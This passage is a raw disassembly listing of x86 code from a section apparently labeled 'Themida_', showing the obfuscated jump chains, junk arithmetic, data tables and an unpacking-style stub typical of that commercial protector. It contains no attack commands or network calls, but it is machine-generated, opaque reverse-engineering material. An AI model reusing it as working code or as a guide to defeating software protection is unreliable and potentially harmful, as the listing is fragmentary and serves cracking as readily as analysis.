		dd 3C31557Eh, 243C3324h, 0FFA5A7E9h, 8BDA01FFh,	0C483241Ch
		dd 8A78E904h, 555EFFFFh, 0FFF110E9h, 48B66FFh, 0E1895124h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54B0B9
; ---------------------------------------------------------------------------
		dd 8B5EF589h, 0C4812414h, 4, 0FF5C89E9h, 4EC81FFh, 89000000h
		dd 0C6BD242Ch, 0D10B310Dh, 0ED814DEDh, 1, 0FF6B6BE9h, 506659FFh
		dd 0E20819B4h, 52535866h, 0C6FE1CB6h, 0C680DEF6h, 0E9F388DAh
		dd 0FFFF52B9h, 505AD001h, 405E089h, 83000000h, 48704E8h
		dd 24248B24h, 0FFCAEAE9h, 7D1768FFh, 1C890000h,	0C881E924h
		dd 0F029FFFFh, 8324348Bh, 5BE904C4h, 81FFFFEDh,	4C6h, 4C68100h
		dd 87000000h, 0B5E92434h, 55FFFF6Fh, 0F7DDABDh,	0E7DAE913h
		dd 0E95AFFFFh, 0FFFFA00Ah
; ---------------------------------------------------------------------------


loc_55029C:				; CODE XREF: Themida_:0054631Aj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	edi, [esp]
		jmp	loc_550979
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 2B9h, 8BCD0100h, 0C481240Ch,	4, 5C242C87h, 2404D366h
		dd 4E2DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5502D2:				; CODE XREF: Themida_:00549FC2j
		mov	eax, [esp]
		push	3DD4h
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_54B2E3
; ---------------------------------------------------------------------------
		dw 0E300h
		dd 24048B66h, 2C481h, 0F2E90000h, 0B6FFFF55h, 96B4503Eh
		dd 0BEC0E951h, 685FFFFFh, 4998h, 83243489h, 1C8904ECh
		dd 0F6BA5224h, 89463803h, 0BD555AD3h, 5AB63D0Ch, 58EAED81h
		dd 56E947CBh, 88FFFF80h, 0E9DD88F3h, 0FFFFB571h, 0C681E689h
		dd 4, 4C681h, 0C4E90000h, 56FFFF5Fh, 0CD6385BEh, 6381BB7Dh
		dd 97E97DCDh, 83FFFFC9h, 545304C4h, 0AF69E95Bh,	6868FFFFh
		dd 0E9C33724h, 0FFFF530Ch, 3189C689h, 8124348Bh, 4C4h
		dd 2434FF00h, 0E9240C8Bh, 0FFFF9FD7h, 568EB81h,	0F3015077h
		dd 0FF7475E9h, 9FA4BBFFh, 0B95120A9h, 26A65359h, 0FF95C0E9h
		dd 83E959FFh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5503AB:				; CODE XREF: Themida_:0054EC91j
		add	esi, 4
		jmp	loc_54FAC5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4BE9240Ch
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5503BF:				; CODE XREF: Themida_:0054A494j
		push	70C8h
		mov	[esp], edx
		mov	edx, 15356C10h
		xor	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_545063
; ---------------------------------------------------------------------------
		dw 489h
		dd 52585424h, 350491BAh, 42E28120h, 0E945E877h,	0FFFF647Ch
		dd 5C243C87h, 0FFC0B60Fh, 8BE98734h, 58FFFF8Ah,	315FF889h
		dd 240C8BC8h, 377E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550412:				; CODE XREF: Themida_:00546D40j
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 2
		mov	eax, edx
		pop	edx
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebp
		jmp	loc_549B15
; ---------------------------------------------------------------------------
		dd 0B7535166h, 5BF988D1h, 0E5E9CA30h, 89FFFFF1h, 0F22958C6h
		dd 0E924348Bh, 0FFFF73E8h, 57241C8Bh, 0FFBF28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550465:				; CODE XREF: Themida_:0054AD51j
		mov	eax, 69B75736h
		inc	eax
		sub	eax, 69B75733h
		sub	ebx, 1EAF223Fh
		add	ebx, eax
		add	ebx, 1EAF223Fh
		jmp	loc_54B373
; ---------------------------------------------------------------------------
		db 0C1h
		dd 90E903EAh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55048B:				; CODE XREF: Themida_:0054C89Aj
		push	ecx
		mov	ch, 0C5h
		mov	bl, 0Fh
		xor	bl, ch
		pop	ecx
		push	eax
		jmp	loc_54A1FE
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 87000000h, 895C2414h, 34FF2404h, 0C4835924h,	0F9015804h
		dd 0FF9DC1E9h, 4B9FFh, 0CF010000h, 0B8505359h, 4, 34FFC389h
		dd 24048B24h, 5704C483h, 0FFBB68E9h, 240C8BFFh,	104C483h
		dd 0B8505AD5h, 2, 8758C501h, 248B242Ch,	0C8B6624h, 116824h
		dd 2C890000h, 81E58924h, 4C5h, 68565200h, 30C84BAFh, 53C6815Eh
		dd 89CF37B4h, 0E9535EF2h, 0FFFF9A09h, 4EC8151h,	54000000h
		dd 0FF675FE9h, 4EC81FFh, 89000000h, 0B1682414h,	8900001Dh
		dd 4812424h, 424h, 0C2815A00h, 4, 34C1BE56h, 0F681604Ah
		dd 604A34C5h, 0E95EF201h, 0FFFF4ED1h, 8BF8015Bh, 5E9243Ch
		dd 0B3FFFF90h, 0E9DD880Dh, 0FFFFC71Fh
; ---------------------------------------------------------------------------


loc_55056C:				; CODE XREF: Themida_:0054ECA2j
		xor	esi, [esp]
		pop	esp
		jmp	loc_54BB89
; ---------------------------------------------------------------------------


loc_550575:				; CODE XREF: Themida_:00544B0Cj
		add	esp, 4
		jmp	loc_5473D5
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0B4h
		dd 1981FBAh, 65A6E9E8h,	64BBFFFFh, 81015D55h, 9D0333F3h
		dd 81DBF725h, 0C0565BC3h, 0E9D90124h, 0FFFFEC5Dh, 620FBD55h
		dd 0F581768Dh, 0CA14E7h, 815DEA21h, 0FFC3FCC2h,	8BD701EFh
		dd 89572414h, 4C781E7h,	83000000h, 25E904C7h, 5DFFFFFEh
		dd 0E7C7EE81h, 0F389132Dh, 0FEE9555Eh, 28FFFF47h, 5B352CF8h
		dd 9C668h, 24148900h, 8857B450h, 63E958E2h, 83FFFF78h
		dd 348704C6h, 0C3305C24h, 8FC0B60Fh, 0FEE98704h, 0F6FFFF3Fh
		dd 0E95166D2h, 0FFFF7DC6h, 0E95FFB01h, 0FFFF4D2Dh, 0FF3FE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550621:				; CODE XREF: Themida_:0054CD3Cj
		mov	eax, 22AF1F05h
		push	esi
		mov	esi, 693526C3h
		add	esi, 0D518DB56h
		sub	eax, 4A10782h
		add	eax, esi
		add	eax, 4A10782h
		jmp	loc_54D414
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF900CE9h, 4C481FFh, 51000000h, 2B9h, 0FFCB0100h, 81592434h
		dd 4C4h, 241C3300h, 33241C31h, 665C241Ch, 0E99CC885h, 0FFFF3F95h
		dd 83242489h, 48904ECh,	4B824h,	44010000h, 34FF0424h, 0E6E95824h
		dd 81FFFFC8h, 0B33AA3EBh, 698CE919h, 0C829FFFFh, 0C2099405h
		dd 0EFE95502h, 8BFFFFD3h, 85E9241Ch
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5506AF:				; CODE XREF: Themida_:0054902Fj
		mov	ebp, 37C06770h
		xor	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_546F4F
; ---------------------------------------------------------------------------


loc_5506C1:				; CODE XREF: Themida_:0054D428j
		shl	edx, 1
		push	5306h
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		push	esi
		push	edx
		mov	edx, 48035B74h
		sub	edx, 75FA42C0h
		jmp	loc_549331
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E92434FFh, 0FFFFE51Ah, 31240433h,	4332404h
		dd 34FF5C24h, 0E0A1E924h, 0D9F7FFFFh, 122FBA52h, 19E90D2Fh
		dd 81FFFFEDh, 196815C5h, 0ED815F4Eh, 2,	2474FF55h, 242C8B04h
		dd 8F04C483h, 248B2404h, 4896624h, 3ED3E924h, 0C8BFFFFh
		dd 4C48324h, 0FFBFBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550741:				; CODE XREF: Themida_:00545BA4j
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_54840E
; ---------------------------------------------------------------------------


loc_550755:				; CODE XREF: Themida_:00549196j
		pop	ecx
		jmp	loc_548920
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2B330BA2h, 0E906E0C1h, 0FFFF40BFh
; ---------------------------------------------------------------------------


loc_550768:				; CODE XREF: Themida_:0054A600j
		or	eax, 38317BAFh
		xor	eax, 6E92B73Fh
		jmp	loc_5493E9
; ---------------------------------------------------------------------------
		db 68h
		dd 2D78h, 68240C89h, 1896h, 0FFFEEBE9h,	0C8B54FFh, 4C48324h
		dd 4C181h, 0C1830000h, 240C8704h, 73F6E95Ch, 0E95FFFFFh
		dd 0FFFF782Ch, 83242489h, 59042404h, 4C181h, 0C1810000h
		dd 4, 2474FF51h, 48F5904h, 0A349E924h, 4BBFFFFh, 0E9000000h
		dd 0FFFFDAF4h, 23D368h,	24048900h, 0FF3E28E9h, 12255AFFh
		dd 406F2500h, 0A32DD8F7h, 2D7E1E38h, 61DDC756h,	48BC101h
		dd 4C48124h, 81000000h,	4ECh, 876BE900h, 8B66FFFFh, 0D6682404h
		dd 0E9000066h, 0FFFF452Ah, 8957595Bh, 4BE56E7h,	0E9000000h
		dd 0FFFF882Ah, 0F15D36BDh, 2AED8169h, 0E91CA876h, 0FFFFF545h
		dd 0EA6BE2BEh, 70C68170h, 8138491Dh, 7C594BE6h,	4EC815Ah
		dd 0E9000000h, 0FFFF73D9h, 56D80159h, 110AC9BEh, 0E9F02940h
		dd 0FFFFD0FCh, 9D1C77FFh, 14D35966h, 96E99C24h,	0C1FFFF3Dh
		dd 0E9E903E1h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55087B:				; CODE XREF: Themida_:00547B86j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dd 2159CA29h, 0E1C6E9D7h, 0E959FFFFh, 0FFFFD848h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h, 0E0892404h,	405h, 40500h, 31E90000h
		dd 81FFFFFEh, 4E9h, 240C8700h, 0F3BCE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5508CE:				; CODE XREF: Themida_:005477F9j
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_546248
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4CE92424h, 88FFFFF6h, 5AD488EAh, 0C984E959h,	0D9F7FFFFh
		dd 31F9E981h, 0E9817705h, 8E08BD2Ah, 8759CD01h,	248B242Ch
		dd 0D306E924h, 0C89FFFFh, 8E32E924h, 8852FFFFh,	88D6F6E6h
		dd 685AF4h, 0E9000000h,	0FFFFB325h, 0E99C5166h,	0FFFF3CE1h
		dd 0B65266ACh, 0B3C680FDh, 0FFDFA5E9h, 48B66FFh, 17116824h
		dd 2C890000h, 68E58924h, 568Bh,	0BB241C89h, 4, 14F5C581h
		dd 0C58113F7h, 59BB7BF5h, 3C6BC581h, 0DD017619h, 3C6BB951h
		dd 0CD297619h, 0E925E959h, 5552FFFFh, 0FF485FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550979:				; CODE XREF: Themida_:005502ACj
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54CC26
; ---------------------------------------------------------------------------
		db 0B5h, 91h, 0E9h
		dd 0FFFF7048h, 0FF3C68E9h, 0C3815CFFh, 2, 2474FF53h, 48F5B04h
		dd 0B03FE924h, 0C680FFFFh, 0A6B050FFh, 0B5E95066h, 81FFFF9Ch
		dd 0C3778CC9h, 51E98101h, 0E9F26B21h, 0FFFFCA7Bh, 73B6EE81h
		dd 0C6010415h, 0FFD963E9h, 1FC580FFh, 0FFD8ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5509E9:				; CODE XREF: Themida_:0054DCAFj
		xor	ecx, eax
		pop	eax
		push	ebx
		push	725D7226h
		pop	ebx
		add	ebx, 1
		add	ebx, 1AB72011h
		push	edi
		mov	edi, 631D6414h
		xchg	ebp, edi
		not	ebp
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		shr	edi, 8
		add	edi, 4BE67D26h
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_546686
; ---------------------------------------------------------------------------
		db 0BFh, 0B7h, 2Ah
		dd 0FA297BF5h, 3BD7E95Fh, 3C8BFFFFh, 4C48324h, 8B24048Fh
		dd 1662424h, 0E99C2404h, 0FFFF3BC1h
; ---------------------------------------------------------------------------


loc_550A48:				; CODE XREF: Themida_:0054CC29j
		mov	ebp, 45135E7Dh
		inc	ebp
		shl	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 12B24F76h
		jmp	loc_54A16D
; ---------------------------------------------------------------------------
		db 0B9h, 39h, 1Ah
		dd 5DBB535Dh, 29535D1Ah, 0DE0159CBh, 5B2434FFh,	8904EC83h
		dd 0E389241Ch, 2C726857h, 1C890000h, 44FDBB24h,	0BE5634F6h
		dd 4C736ABCh, 0FF80F5E9h, 4077FFFFh, 0FF3B6CE9h, 8B5B51FFh
		dd 0C483240Ch, 8260E904h, 0AF0FFFFFh, 0E99C51C8h, 0FFFF3B55h
		dd 0FF3B50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550AB9:				; CODE XREF: Themida_:0054B0DCj
		push	eax
		mov	eax, 20DA69F3h
		jmp	loc_54E126
; ---------------------------------------------------------------------------


loc_550AC4:				; CODE XREF: Themida_:0054720Fj
		pop	ebp
		sub	eax, 34070EEAh
		add	eax, ecx
		add	eax, 34070EEAh
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ecx
		push	esi
		mov	esi, 70023441h
		sub	eax, esi
		jmp	loc_54CC83
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 2, 3BDF68h, 0BEADE900h, 0F180FFFFh, 59CB085Fh, 0FF57A9E9h
		dd 347068FFh, 34890000h, 0C805E924h, 0E82CFFFFh, 81E38953h
		dd 4C3h, 2B85000h, 29000000h, 1C8758C3h, 89665C24h, 38B62414h
		dd 8B66F028h, 0C4812414h, 2, 0D800772Ch, 38047704h, 0F63CB551h
		dd 95D1E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550B4A:				; CODE XREF: Themida_:0054C208j
		shl	ebx, 5
		xor	ebx, 0AD375AE4h
		add	esi, ebx
		jmp	loc_54D1FC
; ---------------------------------------------------------------------------
		dw 0AAE9h
		dd 89FFFF3Ah, 74FF242Ch, 8F5D0424h, 248B2404h, 24040124h
		dd 0FF3EE99Ch, 0BD55FFFFh, 0
		dd 0EB87DD29h, 4177E95Dh, 8956FFFFh, 0BD88E9E6h, 0C601FFFFh
		dd 24348758h, 0E924248Bh, 0FFFF6CF3h, 8F5CE95Bh, 5B66FFFFh
		dd 0DCEB8166h, 0C3016651h, 0B9665166h, 16651DCh, 0E8FEE9CBh
		dd 0E957FFFFh, 0FFFFE9A6h, 4C481h, 0DD880000h, 2C88585Bh
		dd 36E95987h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550BD3:				; CODE XREF: Themida_:0054FE55j
		mov	ecx, 6076423Bh
		and	ecx, 46B9490Ch
		not	ecx
		dec	ecx
		push	ebp
		mov	ebp, 2B6F7B8Ch
		push	edx
		jmp	loc_54C971
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0D1h
		dd 0FF8A55E9h, 4C481FFh, 53000000h, 0EC81E389h,	4, 56241489h
		dd 0FB5549BEh, 554DBA77h, 0F22977FBh, 0E9D3015Eh, 0FFFF7E4Eh
		dd 0AB13EB81h, 0D801A4EBh, 2404875Bh, 1EE815Ch,	5856117Ch
		dd 0E924148Bh, 0FFFFFF4Eh, 0FA0FC6AAh, 0
		dd 9F69DDh, 5A3FCAh, 0
		dd 7FFE0304h, 0
		dd 207h, 2, 1, 2, 0FA0FC6AAh, 5	dup(0)
		dd offset dword_55E600
		dd offset byte_55DE07
		dd offset dword_56202C
		dd offset byte_561A05
		dd offset byte_555BD5
		dd offset word_55F9A6
		dd offset byte_56378D
		dd offset word_553216
		dd offset dword_555960
		dd offset word_55A12E
		dd offset word_5593F6
		dd offset byte_561A1D
		dd offset byte_562161
		dd offset word_556B0A
		dd offset byte_5634C7
		dd offset byte_552A55
		dd offset byte_55D8C3
		dd offset dword_556044
		dd offset aM0Spss	; "╛0ьSPSИ\"ш"
		dd offset word_56327E
		dd offset word_5595CE
		dd offset byte_55FC85
		dd offset word_55B25A
		dd offset word_562356
		dd offset byte_557F0F
		dd offset byte_5582F9
		dd offset word_56315A
		dd offset word_552912
		dd offset dword_556120
		dd offset byte_560231
		dd offset byte_55F133
		dd offset byte_55B483
		dd offset byte_56184D
		dd offset byte_561BA1
		dd offset byte_5510EF
		dd offset byte_563183
		dd offset dword_55926C
		dd offset off_55E2E3
		dd offset dword_55F98C
		dd offset word_555056
		dd offset byte_555B1B
		dd offset dword_565CD0
		dd offset dword_557E80
		dd offset dword_556EB4
		dd offset word_5570B6
		dd offset word_554946
		dd offset word_556B02
		dd offset byte_55D86D
		dd offset byte_553B8F
		dd offset byte_55E7AD
		dd offset byte_55C18B
		dd offset word_553512
		dd offset word_55EA6E
		dd offset byte_55C8A3
		dd offset dword_563B9C
		dd offset byte_5650DD
		dd offset byte_55C50B
		dd offset byte_560B21
		dd offset word_55A9F2
		dd offset word_5614EA
		dd offset word_5648AE
		dd offset byte_564C55
		dd offset aN1SA		; "╜1ьИ,─"
		dd offset dword_5636CC
		dd offset word_55B462
		dd offset byte_55192B
		dd offset byte_553B5B
		dd offset word_564682
		dd offset byte_557859
		dd offset byte_559E61
		dd offset byte_563785
		dd offset byte_563EF9
		dd offset byte_564E3F
		dd offset byte_55B0E1
		dd offset byte_553CA1
		dd offset byte_55EA01
		dd offset byte_5553A5
		dd offset dword_5552FC
		dd offset byte_554727
		dd offset byte_55DF01
		dd offset byte_55F4A5
		dd offset byte_55864B
		dd offset word_5647D6
		dd offset dword_5587B8
		dd offset word_561CB2
		dd offset byte_55DAB9
		dd offset dword_55904C
		dd offset byte_55E0E1
		dd offset byte_564D37
		dd offset dword_5523A8
		dd offset dword_555F28
		dd offset word_565646
		dd offset byte_55D193
		dd offset dword_557140
		dd offset byte_553B27
		dd offset dword_553EA4
		dd offset byte_56082F
		dd offset word_55BD22
		dd offset byte_55F58D
		dd offset byte_55463B
		dd offset aNhN		; "╜h\bN"
		dd offset dword_55AEF8
		dd offset dword_557AA8
		dd offset byte_55DBAD
		dd offset word_55469E
		dd offset byte_564A4B
		dd offset byte_557B53
		dd offset byte_55457B
		dd offset byte_5595BB
		dd offset word_55F336
		dd offset byte_564CFB
		dd offset aMhxe		; "╛hXe"
		dd offset dword_556BE0
		dd offset dword_559CF4
		dd offset byte_55F9B1
		dd offset dword_557E64
		dd offset aNr6@mvbuXMs_	; "╜R╨6@MV│НЁx&mИ╟_"
		dd offset byte_55FC93
		dd offset byte_55A9BB
		dd offset byte_56107F
		dd offset byte_55B5AD
		dd offset word_559BAA
		dd offset dword_55E180
		dd offset byte_5511B3
		dd offset byte_559ECF
		dd offset byte_562EAB
		dd offset word_56336A
		dd offset word_55BAA2
		dd offset byte_55D56B
		dd offset byte_562837
		dd offset byte_5619ED
		dd offset byte_552E51
		dd offset byte_55E595
		dd offset dword_55B870
		dd offset byte_56085D
		dd offset byte_560705
		dd offset dword_55443C
		dd offset byte_5523D5
		dd offset byte_55A6C1
		dd offset byte_55458D
		dd offset byte_55D4D5
		dd offset dword_55C110
		dd offset loc_55A222
		dd offset dword_5540C0
		dd offset byte_551057
		dd offset byte_552431
		dd offset byte_55596F
		dd offset aN1Suf	; "╜1ьИЦF"
		dd offset byte_55DB35
		dd offset word_55764A
		dd offset byte_5586AB
		dd offset dword_55FA7C
		dd offset dword_564560
		dd offset word_554F4A
		dd offset byte_55BB87
		dd offset byte_5608D9
		dd offset byte_5622C9
		dd offset dword_55D81C
		dd offset word_5511BE
		dd offset dword_55CA74
		dd offset byte_557253
		dd offset word_5586EA
		dd offset byte_55646D
		dd offset word_55B17E
		dd offset word_555706
		dd offset word_55A9D2
		dd offset word_555466
; ---------------------------------------------------------------------------


loc_550F18:				; CODE XREF: Themida_:0059F4A2j
					; Themida_:005A3F9Aj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6454876h
		mov	eax, edi
		add	edi, 645458Eh
		cmp	eax, [edi+2Ch]
		jnz	short loc_550F36
		jmp	short loc_550F49
; ---------------------------------------------------------------------------


loc_550F36:				; CODE XREF: Themida_:00550F32j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_550F45
; ---------------------------------------------------------------------------


loc_550F40:				; CODE XREF: Themida_:00550F47j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_550F45:				; CODE XREF: Themida_:00550F3Ej
		or	ecx, ecx
		jnz	short loc_550F40


loc_550F49:				; CODE XREF: Themida_:00550F34j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_550F56:				; CODE XREF: Themida_:00550F5Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_550F56


loc_550F5F:				; CODE XREF: Themida_:00551FD8j
					; Themida_:00551FE9j ...
		lodsb
		jmp	loc_555628
; ---------------------------------------------------------------------------


loc_550F65:				; CODE XREF: Themida_:005631C9j
		add	eax, 5EA96C83h
		add	eax, 79DC2C03h
		add	eax, ebp
		sub	eax, 79DC2C03h
		push	748Bh
		mov	[esp], edx
		mov	edx, 1D176608h
		xchg	edi, edx
		jmp	loc_561C9E
; ---------------------------------------------------------------------------


loc_550F8A:				; CODE XREF: Themida_:00552F3Bj
		add	eax, 6BC703E1h
		jmp	loc_55EF04
; ---------------------------------------------------------------------------
		dd 2C8BEB01h, 4C48324h,	70E4C381h, 6855682Ch, 3AC21822h
		dd 14B1AE9h, 0BF575C00h, 4, 815FFB01h, 4C3h, 5108E900h
		dd 7CB80000h, 81F2B0CEh, 0F1240EAh, 81C22944h, 0F1240C2h
		dd 24048B44h, 8104C483h, 0E45FDBC1h, 59E98164h,	178FA2Bh
		dd 59C181D1h, 0E978FA2Bh, 0F144h, 4B951h, 0CD010000h, 30685059h
		dd 89000042h, 0CAB9240Ch, 0C1219801h, 0BD5506E9h, 6810357Ch
		dd 815DE929h, 0BA2C1DF1h, 0A3E98114h, 891DD59Dh, 0DE3559C8h
		dd 0E94AC871h, 88A6h
; ---------------------------------------------------------------------------


loc_551030:				; CODE XREF: Themida_:0055FAD1j
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		jmp	loc_5633B2
; ---------------------------------------------------------------------------
		db 1, 0F3h, 57h
		dd 0EAE9h, 5AD10100h, 4EC81h, 0CDE90000h
		db 0B1h, 2 dup(0)
byte_551057	db 0ACh			; DATA XREF: Themida_:00550EBCo
		dd 5F688704h, 8900006Fh, 0C5B22414h, 2C4EC280h,	0ACDBE9AAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55106E:				; CODE XREF: Themida_:0055D121j
		mov	esi, ebp
		pop	ebp
		push	3FFDh
		mov	[esp], edi
		jmp	loc_564B0E
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 0E9000000h, 0B14Bh, 4C781h, 3C870000h, 7C6CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55109A:				; CODE XREF: Themida_:00565532j
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55DB62
; ---------------------------------------------------------------------------
		db 2Ch,	0A3h, 28h
		dd 0E95266E8h, 3EFCh
; ---------------------------------------------------------------------------


loc_5510BC:				; CODE XREF: Themida_:0055D845j
		mov	edx, 36FB6014h
		jmp	loc_561CB9
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5A0424h, 525C2404h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0B742400h
		mov	edx, ecx
		jmp	loc_558012
; ---------------------------------------------------------------------------
byte_5510EF	db 0FFh			; DATA XREF: Themida_:00550D04o
		dd 48B2434h, 0E3895324h, 4C381h, 0C3810000h, 4,	31241C33h
		dd 1C33241Ch, 24248B24h, 707C68h, 24148900h, 172068h, 48F5400h
		dd 0B1E95624h, 5B00010Ch, 0CA80DAF6h, 46E9508Eh, 0BF0000EEh
		dd 449A74C9h, 100EFE9h,	0EF815A00h, 7DA43D35h, 6FC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_551149:				; CODE XREF: Themida_:0055E1D5j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_55A6E2
; ---------------------------------------------------------------------------


loc_55115D:				; CODE XREF: Themida_:0055A83Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 18871050h
		push	esi
		push	ebx
		mov	ebx, 3B67205h
		xor	ebx, 32F91CFEh
		mov	esi, ebx
		pop	ebx
		not	esi
		jmp	loc_55B90D
; ---------------------------------------------------------------------------
		dw 0FF5Eh
		dd 50582434h, 24048B54h, 4C481h, 0BE560000h, 3B4A0950h
		dd 0D3E94646h
		db 3Eh,	2 dup(0)
byte_5511B3	db 0FFh			; DATA XREF: Themida_:00550E68o
		dd 34FF3C77h, 5098E924h
		db 2 dup(0)
word_5511BE	dw 77FFh		; DATA XREF: Themida_:00550EF4o
		dd 11589D1Ch, 0E99C2404h, 0FFFFFD93h, 2474FF50h, 48F5804h
		dd 0F2E95C24h, 8B000019h, 0E9F72424h, 103668h, 24148900h
		dd 70E99C50h, 89FFFFFDh, 4C381E3h, 81000000h, 4C3h, 67B8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551202:				; CODE XREF: Themida_:00559BF6j
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55FABF
; ---------------------------------------------------------------------------
		db 5Ch,	21h, 0D0h
		dd 5A2434FFh, 4C481h, 77FF0000h, 0D0E9511Ch
		db 49h,	1, 0
; ---------------------------------------------------------------------------


loc_551233:				; CODE XREF: Themida_:0056421Ej
		xor	ecx, 0F569FB92h
		add	eax, 68176054h
		add	eax, ecx
		sub	eax, 68176054h
		pop	ecx
		push	edi
		push	edx
		mov	edx, 2DA210B9h
		jmp	loc_562B24
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 3B100215h, 835DEF01h, 3C8704EFh, 92C1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551266:				; CODE XREF: Themida_:005531D0j
		mov	edi, 3A6043D1h
		or	edx, edi
		jmp	loc_55BEBD
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 0C7835DEFh, 243C8704h, 6C2FE9h, 68E95000h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55128B:				; CODE XREF: Themida_:00561A8Aj
		push	edx
		jmp	loc_560D40
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 5
		dd 8956D5F7h, 4C681E6h,	83000000h, 63E904EEh
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5512A7:				; CODE XREF: Themida_:0055D713j
		pop	ebp
		jmp	loc_564F19
; ---------------------------------------------------------------------------
		db 0BDh, 1, 0
		dd 0EA290000h, 10F09E9h, 241C8900h, 241C8B54h, 55AE955h
		dd 0EC830000h, 240C8904h, 0B8F7E9h, 82C68100h, 68186C32h
		dd 8CFh, 0E9243C89h, 14800h
; ---------------------------------------------------------------------------


loc_5512E4:				; CODE XREF: Themida_:0055A239j
		add	ebp, 684E3E76h
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55A1C8
; ---------------------------------------------------------------------------


loc_5512FB:				; CODE XREF: Themida_:00555824j
		add	eax, 3EFB6725h
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_5565CE
; ---------------------------------------------------------------------------
		db 57h,	0F7h, 14h
		dd 0F7815F24h, 0BE63FF32h, 0F95E9h, 243C8B00h, 8904C483h
		dd 24048BC6h, 5904C483h, 0AF03E9h, 24248B00h, 0E9241489h
		dd 66EEh, 74FF515Eh, 8F590424h,	335C2404h, 1C31241Ch, 0AE90E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55134E:				; CODE XREF: Themida_:00554B34j
		mov	ecx, 32BD7F03h
		and	ecx, 2133047Fh
		push	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
